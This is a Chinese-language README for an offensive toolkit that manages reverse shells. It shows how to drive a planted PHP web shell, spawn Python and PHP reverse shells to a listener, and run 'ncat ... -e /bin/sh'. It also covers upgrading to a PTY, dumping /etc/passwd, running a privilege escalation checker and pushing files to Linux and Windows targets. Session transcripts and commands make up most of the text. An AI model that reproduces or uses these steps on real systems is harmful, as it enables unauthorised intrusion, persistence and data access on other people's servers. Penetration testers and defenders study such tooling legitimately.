
专为原生 Shell 中处理反向 Shell 而设计的套件
一套用于管理和交互反弹Shell的Linux工具集的开端(代码目前仍处于快速而粗糙的状态,异常处理很少)。深受UNIX哲学启发,基本思路是拥有一个守护进程来处理任意的端点(connd,虽然它还不是一个真正的守护进程,但可以在单独的终端中运行),并针对这些端点运行工具。
端点由脚本或进程“驱动”,并以文件形式暴露在文件系统中,然后可以使用一个轻量级的软件客户端与之交互,但也可以使用Shell命令轻松地写入和读取。事实上,能够从Shell独立运行脚本是一个关键设计因素,理想情况下,一个脚本最多依赖于端点存在,但也可以组合使用(彼此串联)。
当前的端点选项包括:
轻量级软件客户端(hthinc.py)提供了对系统端点的基本接口,以及快速对系统运行脚本的功能。已经编写了几个基本但有用的脚本:
反弹Shell驱动程序的类型(即远程系统上驱动Shell的程序)如下(目前支持linux):
其他脚本:
告诉connd启动一个端点,使用楔形Shell驱动程序配合提供的php脚本,该脚本进行系统调用并返回格式化的响应。然而,这一行脚本也可以很容易地注入到服务器日志中
$ hconnd.py start wsh http://example.com/hwsh.php
1
这创建了端点1(两个I/O管道——你可以在运行子目录中看到它们,分别为t1i和t1o)。现在我们使用hthinc.py来与Shell交互。
$ hthinc.py 1
<harmonic> thinc
runik@hwsh:example.com /var/www/public_html $ whoami
www-data
% 0
runik@hwsh:example.com /var/www/public_html $ uname -a
Linux green 4.4.0-83-generic #106-Ubuntu SMP Mon Jun 26 17:54:43 UTC 2017 x86_64 x86_64 x86_64 GNU/Linux
% 0
我们知道这是一个Linux机器。我们希望摆脱楔入的Web Shell,获得一个真正的Shell。运行内置命令!help可以显示thinc帮助信息。我们可以运行一个脚本sp,它会自动对远程系统运行命令,枚举环境,启动一个nc端点,生成一个反弹Shell,并通过新的hthinc.py自动切入:
runik@hwsh:example.com /var/www/public_html $ !run sp LHOST=127.0.0.1 LPORT=4455
<harmonic> basic shell spawner
[+] Running enumeration...
[+] Checking for python version... 2.7
[+] Generating python reverse shell command (127.0.0.1:4455)... OK
[+] Starting endpoint... 2
[+] Dropping into shell
<harmonic> thinc
/bin/sh: 0: can't access tty; job control turned off
$id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
$
或者如果知道我们在使用(例如)PHP作为驱动程序,可以指定它:
runik@hwsh:example.com /var/www/public_html $ !run sp DRIVER=php LHOST=127.0.0.1 LPORT=4455
<harmonic> basic shell spawner
[+] Generating php reverse shell command (127.0.0.1:4455)... OK
[+] Starting endpoint... 2
[+] Dropping into shell
<harmonic> thinc
/bin/sh: 0: can't access tty; job control turned off
$id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
$
假设我们有一个没有TTY的Shell,或者想要突破,我们可以运行一个默认的宏:
$ tty
no tty
$ !run mac pty
[email protected]:/var/www/html/$
此外,如果我们想记录命令的输出,可以使用log脚本,它会将输出保存到当前工作目录:
$ !run log cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
df12:x:1000:1000::/home/df12:/bin/zsh
[+] Saved to /home/examples/10.0.2.12/post/cat__etc_passwd_0
端点运行时,你可以附加/分离客户端,因为连接进程由守护进程管理
因为所有内容都可以以更UNIX风格的方式运行,我们可以从Shell快速重复进程。我们启动一个Web Shell端点,获取端点ID,然后从Shell运行sp.py生成脚本针对该端点(这与hthinc.py中使用的脚本相同,但使用不同的入口点)。
$ hconn.py start wsh http://example.com/hwsh.php
1
$ hscr.py 1 sp 4455
<harmonic> basic shell spawner
[+] Running enumeration...
[+] Checking for python version... 2.7
[+] Generating python reverse shell command (127.0.0.1:4455)... OK
[+] Starting endpoint... 2
[+] Dropping into shell
<harmonic> thinc
/bin/sh: 0: can't access tty; job control turned off
$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
$
或作为一行命令:
$ hscr.py `hconn.py start wsh http://example.com/hwsh.php` sp 4455
并且可以轻松自动化:
$ cat reverse.sh
#!/bin/bash
hscr.py `hconn.py start wsh http://example.com/hwsh.php` sp 4455
$ ./reverse.sh
<harmonic> basic shell spawner
[+] Running enumeration...
...
$
工具hcmd.py允许你从Shell快速通过端点运行命令
$ hcmd.py 2 uname -a
Linux kali 4.12.0-kali1-amd64 #1 SMP Debian 4.12.6-1kali6 (2017-08-30) x86_64 GNU/Linux
并照常进行管道或重定向结果
$ hcmd.py 2 ifconfig | grep wlan
wlan0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
你可以使用hconn.py的list动词查看当前端点列表,以及相关连接状态
$ hconn.py list
1 [26616]: /home/runik/Tools/harmonic/hwsh.py http://10.15.10.4/hwsh.php
2 [26622]: nc -lp 4455 Established -> 10.15.10.4
3 [26659]: nc -nlvp 4495 Listening
设置一个楔形Shell端点:
$ hconn.py start wsh http://example.com/hwsh.php
1
现在我们在端口4444上设置一个netcat监听器:
$ hconn.py start nc 4444
2
然后通过输入文件向楔形Shell端点(eid 1)写入:
$ echo "ncat 127.0.0.1 4444 -e /bin/sh" > run/t1i
这应该会向netcat监听器发送一个Shell。将thin客户端附加到netcat端点(eid 2),我们应该有一个等待的Shell:
$ hthinc.py 2
<harmonic> thinc
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
将Shell接口泛化为文件,意味着针对Web Shell端点使用的脚本也可以针对netcat反弹Shell端点使用。你可以使用绝对路径($HCROOT/share/script/*.py)调用脚本,或者使用辅助脚本hscr.py
我们可以针对netcat端点运行sp.py,生成另一个反弹Shell:
$ hscr.py 2 sp 4495 127.0.0.1
<harmonic> basic shell spawner
[+] Running enumeration...
[+] Checking for python version... 2.7
[+] Starting endpoint... 3
[+] Generating python reverse shell command (127.0.0.1:4495)... OK
[+] Dropping into shell
<harmonic> thinc
/bin/sh: 0: can't access tty; job control turned off
$
使用绝对路径的等效命令为$ $HCROOT/share/script/sp.py 2 4495 127.0.0.1
或者我们可以针对Web Shell运行Linux权限提升检查器:
$ $HCROOT/share/script/lpc.py 1
<harmonic> Linux Priv Check Wrapper
============================================================
LINUX PRIVILEGE ESCALATION CHECKER
============================================================
...
Finished
并且可以在hthinc.py实例中调用它们
!run lpc
环境变量可用于定义全局值。变量有三个级别,每个级别优先级低于下一个:
资源文件变量在$HCROOT/.hcrc中定义。这些优先级最低,但可用于避免污染系统范围的环境变量
环境/Shell变量由Shell带入进程,并以前缀HCV_。它们将与资源变量合并,并覆盖已存在的值。
内联变量将覆盖之前定义的任何内容
在这些示例中,.hcrc中定义了LHOST=127.0.0.1作为资源变量,脚本用法为./script LPORT [LHOST]
以下脚本将使用LHOST=127.0.0.1和LPORT=4455(资源变量)
$ ./script 4455
以下脚本将使用LHOST=192.168.1.101和LPORT=4455(Shell变量)
$ HCV_LHOST=192.168.1.101 ./script 4455
以下脚本将使用LHOST=10.10.10.125(内联变量)
$ HCV_LHOST=192.168.1.101 ./script 4455 10.10.10.125
相同的原则可以应用于hthinc.py的!run SCR,(注意:环境/Shell变量是传递给./hthinc.py的变量)
门户服务器是一个基本的HTTP服务器,可以使用脚本将文件拉取到远程系统。这些脚本往往作为围绕命令的宏,跨平台创建更统一的交互。服务器相对$HCROOT/share/disp/处理文件。
hpd.py在端口80上运行。DHOST和DPORT已经在.hcrc中定义为127.0.0.1和80(它们指向调度服务器)。这意味着调用脚本时不需要输入这些变量,但如果需要不同,我们可以像FILE=变量一样将它们作为内联变量包含。
我们从hthinc.py调用脚本,但同样,我们可以通过在命令行上传递端点ID从常规Shell运行这些脚本。如果DHOST和DPORT已经定义,我们不需要在命令行中包含它们。
这里我们使用PowerShell,通过pspull拉取文件:
c:\Users\user\Desktop>!run pspull FILE=txt/test.txt
[+] 127.0.0.1 --> () --> test.txt
[+] Pull successful
这里我们没有PowerShell,所以需要初始化门户脚本,然后拉取文件:
c:\Users\user\Desktop>!run wpinit
<harmonic> Win Portal Initialiser
[+] Running enumeration...
[+] Checking VB engine... OK
[+] Using engine: VB
[+] Loading non-interactive script generator for 127.0.0.1... OK
[+] Running generator... OK
[+] Portal should be ready
c:\Users\user\Desktop>!run vbpull FILE=txt/test.txt
[+] Portal --> () --> test.txt
[+] Pull successful
pull脚本用于Linux:
$ !run pull FILE=txt/test.txt
[+] 127.0.0.1 --> () --> test.txt
[+] Pull successful
为了澄清内联变量:
$ !run pull FILE=txt/test.txt DHOST=192.168.1.1
[+] 192.168.1.1 --> () --> test.txt
[+] Pull successful
宏在$HCROOT/.hcrc宏部分定义,并由mac脚本调用。在这种基本形式中,它们类似于Shell中的别名,实际上是简单的一向脚本,通过端点向远程Shell发送命令。将经常使用但冗长的命令序列绑定到宏更容易。
从hthinc.py调用mac脚本包括使用一个未命名变量,即没有标签的变量。这允许宏像脚本的命令行参数一样被调用。
同样,可以使用相同的mac.py脚本从常规Shell调用宏。
此示例在脆弱的Shell中调用pty宏。宏是python -c 'import pty; pty.spawn("/bin/bash")'的别名:
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
tty
no tty
!run mac pty
[email protected]:/var/www/html/$
从命令行(例如端点5)运行的等效命令是hscr.py 5 mac pty。下次你将客户端附加到端点时,它应该带有tty运行。
输入!run mac --list将显示宏列表。
构建connd:
go build connd